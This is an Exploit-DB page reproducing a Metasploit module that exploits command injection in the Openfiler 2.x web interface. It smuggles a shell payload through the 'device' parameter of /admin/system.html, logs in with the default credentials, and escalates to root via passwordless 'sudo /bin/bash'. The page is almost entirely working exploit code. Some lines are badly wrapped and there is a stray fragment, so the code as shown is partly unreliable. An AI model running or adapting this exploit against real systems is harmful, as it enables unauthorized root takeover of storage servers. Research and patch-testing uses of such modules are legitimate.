OpenFiler 2.x - NetworkCard Command Execution (Metasploit)

EDB-ID:

21191

CVE:

EDB Verified: ✓

Author:

METASPLOIT

Type:

REMOTE

Exploit: / {}

Platform:

LINUX

Date:

2012-09-10

Vulnerable App:

```
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking

    include Msf::Exploit::Remote::HttpClient

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Openfiler v2.x NetworkCard Command
Execution",
            'Description'    => %q{
                This module exploits a vulnerability in Openfiler v2.x
                which could be abused to allow authenticated users to
execute arbitrary
                code under the context of the 'openfiler' user. The
'system.html' file
                uses user controlled data from the 'device' parameter to
create a new
                'NetworkCard' object. The class constructor in
'network.inc' calls exec()
                with the supplied data. The 'openfiler' user may 'sudo
/bin/bash' without
                providing a system password.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Brendan Coles <bcoles[at]gmail.com>' # Discovery and
exploit
                ],
            'References'     =>
                [
                    ['URL', 'http://itsecuritysolutions.org/2012-09-06-
Openfiler-v2.x-multiple-vulnerabilities/']
                    #['OSVDB', ''],
                    #['EDB',   ''],
                ],
            'DefaultOptions'  =>
                {
                    'ExitFunction' => 'none'
                },
            'Platform'       => 'unix',
            'Arch'           => ARCH_CMD,
            'Payload'        =>
                {
                    'Space'       => 1024,
                    'BadChars'    => "\x00",
                    'DisableNops' => true,
                    'Compat'      =>
                        {
                            'PayloadType' => 'cmd',
                            'RequiredCmd' => 'generic telnet python perl
bash',
                        }
                },
            'Targets'        =>
                [
                    ['Automatic Targeting', { 'auto' => true }]
                ],
```

```
            'Privileged'     => false,
            'DisclosureDate' => "Sep 04 2012",
            'DefaultTarget'  => 0))

        register_options(
            [
                Opt::RPORT(446),
                OptBool.new('SSL', [true, 'Use SSL', true]),
                OptString.new('USERNAME', [true, 'The username for the
application', 'openfiler']),
                OptString.new('PASSWORD', [true, 'The password for the
application', 'password'])
            ], self.class)
    end

    def check

        @peer = "#{rhost}:#{rport}"

        # retrieve software version from login page
        print_status("#{@peer} - Sending check")
        begin
            res = send_request_cgi({
                'uri' => '/'
            })

            if    res and res.code == 200 and res.body =~ /<strong>Distro
Release: <\/strong>Openfiler [NE]SA 2\./
                return Exploit::CheckCode::Appears
            elsif res and res.code == 200 and res.body =~ /<title>Openfiler
Storage Control Center<\/title>/
                return Exploit::CheckCode::Detected
            end

        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,
::Rex::ConnectionTimeout
            print_error("#{@peer} - Connection failed")
        end
        return Exploit::CheckCode::Unknown

    end

    def on_new_session(client)
        client.shell_command_token("sudo /bin/bash")
    end



    def exploit

        @peer = "#{rhost}:#{rport}"
        user  = datastore['USERNAME']
        pass  = datastore['PASSWORD']
        cmd   = Rex::Text.uri_encode("&#{payload.raw}&")

        # send payload
        print_status("#{@peer} - Sending payload (#{payload.raw.length}
bytes)")
        begin
            res = send_request_cgi({
                'uri'    => "/admin/system.html?step=2&device=lo#{cmd}",
                'cookie' => "usercookie=#{user}; passcookie=#{pass};",
            }, 25)
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable,
::Rex::ConnectionTimeout
            fail_with(Exploit::Failure::Unknown, 'Connection failed')
        end

        if    res and res.code == 200 and res.body =~ /<title>System :
Network Setup<\/title>/
```

```
<Network Setup</title>)
            print_good("#{@peer} - Payload sent successfully")
        elsif res and res.code == 302 and res.headers['Location'] =~
/\/index\.html\?redirect/
            fail_with(Exploit::Failure::NoAccess, 'Authentication failed')
        else
            fail_with(Exploit::Failure::Unknown, 'Sending payload failed')
        end

    end
end
```

Tags: Metasploit Framework (MSF)

Advisory/Source: Link

Databases

Links

Sites

Solutions